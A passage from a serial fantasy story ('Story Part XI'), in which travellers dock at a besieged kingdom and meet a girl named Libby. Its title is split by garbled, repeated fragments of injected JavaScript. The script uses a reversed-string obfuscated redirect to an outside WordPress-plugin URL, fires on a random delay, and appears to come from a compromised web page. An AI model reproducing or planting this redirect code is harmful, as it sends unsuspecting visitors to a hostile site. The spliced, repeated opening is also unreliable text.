Thon 20: Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory Part XI

The rest of the voyage passed rather uneventfully. Nicholas told Lucian and Jarrod of his intentions to join with them and fight for their cause. He understood their reluctance and their wariness. He was honest with them and told them he expected he would be less than trusted for some time yet. Lucian and Jarrod had told him he would be given the same respect as anyone else – trust until such trust was broken. Nicholas had been more than slightly surprised. He’d discussed it with Solstice, who’d just laughed. She’d reminded him what he’d said – Lucian was a rare man.

“The ship is docking, my lady.” Nicholas’s voice. Lucian and Jarrod were on deck, seeing to having the ship settled properly in port. “There are a number of people gathered to welcome the crew home. I am astounded. I have never seen such a gathering.”

“You have never been in a kingdom under siege, Nicholas. It is more expected a ship will not return. When one does, it is cause for celebration. I would be more worried if no one came to meet us, than if the whole kingdom turned out.” She smiles at him, getting to her feet. “Shall we go?”

The pair go up on deck. Nicholas leads her to the edge, so she can see what he means. The number of people on the docks was truly amazing to see. Men, women, children. The crew of the boat were now departing, moving to embrace their loved ones. Solstice saw many tears, but they were happy ones. Everyone on the docks was happy to see the ship return with a full crew. It was a rarity.

“Lucian! You came home!” A girl of about 18 was pushing through the crowd.

“Libby!” Lucian laughs, moving to bound down the deck. He sweeps the girl up and spins her about. “You are looking much better than you did when we left. I am glad to see you have recovered.”

“Aye, I’m much better. But you should know. You found the healer who truly helped me.” She chuckles, hugging him tightly.

“That I did. Come, meet our guests.” Lucian looks up at Nicholas and gestures them to come down.

“I see you are well, Libby.” Jarrod’s voice as he descends behind them.

“Jarrod.” The young girl blushes, looking down a bit. She looks up at Jarrod, nodding. “I am, thank you.”

“Good to see, Libby. It really is.” He smiles at her, then looks to Lucian. “I will go and see about – news.” He frowns. There had been no one who had said anything about the king. That would have been big news indeed.

“Thank you, Jarrod.” Lucian looks solemn for a long moment, then smiles. “Libby, this is Solstice and this is Nicholas. They are going to stay with us for a few weeks. This is Libby. She is like a sister to me.” Lucian smiles.

“Nice to meet you both.” Libby smiles at them. Solstice and Nicholas respond in kind. The crowd on the docks was soon breaking up. There was no fanfare, no announcements, nothing of the sort. No royal welcome for Lucian, nor any word about the king.

“We should head to the castle. Come. I am sure you would like a proper bath.” Lucian gestures them to a waiting carriage. He pauses, then pales, as if seeing a ghost.

“Lucian, what is it?” Libby looks at him, concerned.

Lucian looks back to the small group, all looking at him curiously.